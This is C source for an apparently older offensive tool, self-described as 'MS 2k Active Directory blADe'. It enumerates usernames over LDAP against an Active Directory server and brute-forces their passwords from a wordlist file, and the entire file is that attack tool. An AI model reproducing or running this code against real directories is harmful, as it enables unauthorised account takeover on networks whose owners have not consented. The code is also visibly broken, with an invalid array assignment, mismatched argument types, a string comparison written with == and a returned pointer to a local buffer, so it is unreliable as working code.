#include <stdio.h>
#include "ldap.h"
#include <unistd.h>


int loud       = 0;
int reallyLoud = 0;
int i=0;
int j=0;
int userCount = 0;
int gotBass = 0;
int msgID = 0;
	
short passRecurse = 0;
short userRecurse = 0;
short MSAuth = 0;

LDAP *ld;
LDAPMessage *lmsg;

FILE *fP;
FILE *fU;

char user[30]          = "";
char *userList[30];
char password[100]     = "";
char domain[30]        = "";
char NTAuthority[100];
char baseDN[256];
char rdn[256];
char *base = NULL;
char *passFile = NULL;
char symbols[4]        = { '\\','|','/','-' };

void passBrute(char *name);
int ld_bind();
void userGrab(char *name);
void usage();
char *parseAttributesAndValues();

main(int argc , char *argv[])
{
	int userArgs = 0;
	int basicArgs = 0;
	int lderr = 0;

	short bytes = 0;
	short out = 0;
	
	char *host = NULL;
	char *search = NULL;
	char name[256];
	char passwordTry[256];

	while (( i = getopt(argc, argv, "b:d:h:p:P:s:u:U:vV")) != EOF ){
	  switch(i) {
	  case 'b':
		base = strdup(optarg);
	        basicArgs+=2;
		gotBass=1;
		break;
	  case 'v':
		loud=1;
	        break;
	  case 'V':
		reallyLoud=1;
	        break;
	  case 'p':
		strcpy(password,optarg);
		userArgs++;
		break;
	  case 'u':
		strcpy(user,optarg);
		userArgs++;
		break;
	  case 'd':
		strcpy(domain,optarg);
		userArgs++;
		MSAuth = 1;
		break;
	  case 'h':
		host = strdup(optarg);
		basicArgs++;
		break;
	  case 's':
		search = strdup(optarg);
		basicArgs++;
		break;
	  case 'P':
 		passFile=strdup(optarg);
		passRecurse = 1;
		break;
	  case 'U':
		if ( ( fU = fopen(optarg,"r")) == NULL ) {
		  printf("Invalid user file: %s.\nTerminating.\n",optarg);
		  exit(1);
		}
		userRecurse = 1;
	  }
   	}

    if ( (passRecurse || userRecurse) && host == "" )  {
	printf("Recursive mode requires a host and a file arg!\n");
	usage(argv[0]);
    } 	

    if ( host == NULL ) {
	  printf("Come on, give me a host!\n");
	  usage(argv[0]);
	}


	if ( loud || reallyLoud) printf("Connecting to %s...", host);
	if ( (ld = ldap_open( host, 389 )) != NULL) {
		if ( loud || reallyLoud) printf("done.\n");
	}
	else {
		if ( loud || reallyLoud) printf("failed!\n");
		return( 1);
	}




	/* Setup and execute the bind */
	  if ( !MSAuth ) {
	    printf("Using LDAP simple auth.\n");
	    if ( loud || reallyLoud) printf("Binding as %s/%s...",\
					     user,password);
	    lderr= ldap_bind_s( ld, user, password, LDAP_AUTH_SIMPLE);
	  }
	  else {
	    printf("Using Microsoft-style LDAP simple auth.\n");
	    /* MS doesn't care if we get the user/password right,
	       only if we get the domain right. We'll be nice, tho 
            */
	    sprintf(NTAuthority, "User='%s';Pwd='%s';Domain='%s'",\
                                  user,password,domain);
	    if ( loud || reallyLoud) printf("Binding as %s..." ,NTAuthority);
	    lderr= ldap_bind_s( ld, NULL, NTAuthority, LDAP_AUTH_SIMPLE);
	  }

	  switch(lderr) {
	    case LDAP_SUCCESS:
		  if ( loud || reallyLoud) printf("successful.\n");
		  break;
	    case LDAP_INAPPROPRIATE_AUTH:
	    case LDAP_INVALID_CREDENTIALS:
		  if ( loud || reallyLoud) 
                  printf("auth error: %d:%s!\n",lderr,ldap_err2string(lderr));
		  break;
	  }


	/* RDN grab */
	if ( loud || reallyLoud) 
	  printf("Getting Root Domain Naming Context...");
	if ( ldap_search_s(ld,NULL,LDAP_SCOPE_BASE,NULL,NULL,0, &lmsg) != 
	  LDAP_SUCCESS ){
	  if ( loud || reallyLoud) printf("Failed.\n");
	  ldap_unbind(ld);
	  exit(1);
	 }
	 else {
	   if ( loud || reallyLoud ) printf("success. \n");
  	   strcpy(rdn, parseAttributesAndValues());
	 }


	  
	if ( userRecurse) {
          while (fgets(user, 30 - 1, fU) != NULL) {
            if ( user[strlen(user) - 1] == '\r' || 
		 user[strlen(user) - 1] == '\n'    ) 
		   user[strlen(user) - 1] = '\0';
	    userGrab(user); 
	  }
	}
	else userGrab(search);
	if ( passRecurse ) passBrute(userList);
	
	ldap_unbind(ld);

 
}

void userGrab(char *user) {

	/* setup base, if user didn't give us one */
	if ( !gotBass ) sprintf(baseDN,"CN=%s,CN=Users,%s", user, rdn);
	else strcpy(baseDN, base);
	
	if ( loud || reallyLoud) {
	  printf("Searching for:%s...",baseDN); }
	  msgID = ldap_search_s(ld,baseDN,LDAP_SCOPE_ONELEVEL,\
                                NULL,NULL,0, &lmsg);
	  if ( loud || reallyLoud ) printf("Returned MSGID: %d \n",msgID);
	    if ( msgID == 0 ) {
		if ( gotBass ) printf("Found!\n");
		else {
		  printf("User %s exists!",user);
	          userCount++;
		  userList[userCount] = user;
		}
	     }
	     else if ( msgID == 32 ) {
	       if ( gotBass ) printf("Not Found!\n");
	       else if ( !userRecurse) printf("User %s does not exist!\n",user);
	       /*
		    ldap_unbind(ld);
		    exit(0);
	       */
	     }
}

void passBrute(char *userList) {
	if ( ( fP = fopen(passFile,"r")) == NULL ) {
	  printf("Invalid password file: %s.\nTerminating.\n",optarg);
	  exit(1);
	}
	printf(" Trying passwords:  ");
	j = 0;
	i = 0;
        for ( int c=0; c<=userCount; c++) {
          user = userList[c];
	  do {
	    ++j;
	    fflush(stdout);
	    if (fgets(password, 25 - 1, fP) == NULL) {
	      printf("%d passwords failed.\n",j);
              fclose(fP);
	      return;
	    }
            if ( password[strlen(password) - 1] == '\r' || 
		 password[strlen(password) - 1] == '\n'    ) 
		   password[strlen(password) - 1] = '\0';
	    sprintf(NTAuthority, "User='%s';Pwd='%s';Domain='%s'",\
                                  user,password,domain);
	    printf("%c",symbols[i]); /* bite me. I like the wheel. */
	    i=(i>2)?0:++i;
	  } while ((ld_bind() ) != LDAP_SUCCESS);
        } 	
        printf("%d passwords SUCCESS! (%s/%s)\n",j ,user, password);
        fclose(fP);
        return;
}

int ld_bind() {

	int lderr = 0;
	if ( MSAuth ) {
	    lderr= ldap_bind_s( ld, NULL, NTAuthority, LDAP_AUTH_SIMPLE);
	}
	else lderr = ldap_simple_bind_s(ld, user, password);
	
    	printf("%d \n", lderr);
	ldap_unbind(ld);
	return(lderr);
}

char *parseAttributesAndValues()
{
	LDAPMessage *lm;
	BerElement  *ber;
	char *dn, *attr;
	char name[256]; 
	char **vals;
	int i;

	for ( lm = ldap_first_entry( ld, lmsg);
	      lm != NULL;
	      lm = ldap_next_entry(ld, lm) ) {
		if (( dn = ldap_get_dn( ld, lm)) != NULL ) {
		  if ( reallyLoud ) printf("dn: %s\n", dn);
		  ldap_memfree( dn );
		}
		for ( attr = ldap_first_attribute(ld, lm, &ber);
		      attr != NULL;
		      attr = ldap_next_attribute(ld, lm, ber) ) {
			if (( vals = ldap_get_values(ld, lm, attr)) != NULL ){
			  for ( i=0; vals[i] != NULL; i++) {
				if ( !strcmp(attr,"rootDomainNamingContext")) {
				  strcpy(name,vals[i]);
				  if (reallyLoud)
					printf("****** RDN ********: %s\n",vals[i]);
				}
			    if ( reallyLoud ) printf("%s: %s\n", attr, vals[i]);
			  }
			  ldap_value_free(vals);
			}
			ldap_memfree(attr);
		}
		if ( reallyLoud ) printf("\n");
		if ( ber != NULL ) {
		  ber_free(ber, 0);
		}
	}
	return(name); 
}

void usage(char *argv) {
	
	  printf("MS 2k Active Directory blADe Usage: \n\n");
	  printf("%s -h host -s search [-vV]\n",argv);
	  printf("%s -h host -s search -d domain [-vV]\n",argv);
	  printf("%s -h host -s search -u user -p password\n",argv);
	  printf("%s -h host -b base\n");
	  printf("%s -h host -u user -P passfile\n\n");
	  printf("where:\n\n");
	  printf("host          is the IP of the Active Directory box\n");
	  printf("search        is the username to search for\n");
	  printf("user          }\n");
	  printf("password      } used for LDAP simple authentication\n");
	  printf("domain        use MS LDAP simple authentication\n");
	  printf("base          refers to a manual base object to query\n");
	  printf("passfile      refers to an ascii password list\n");
	  printf("\nThe last example tries passwords in passfile against user\n");
	  exit(1);

}
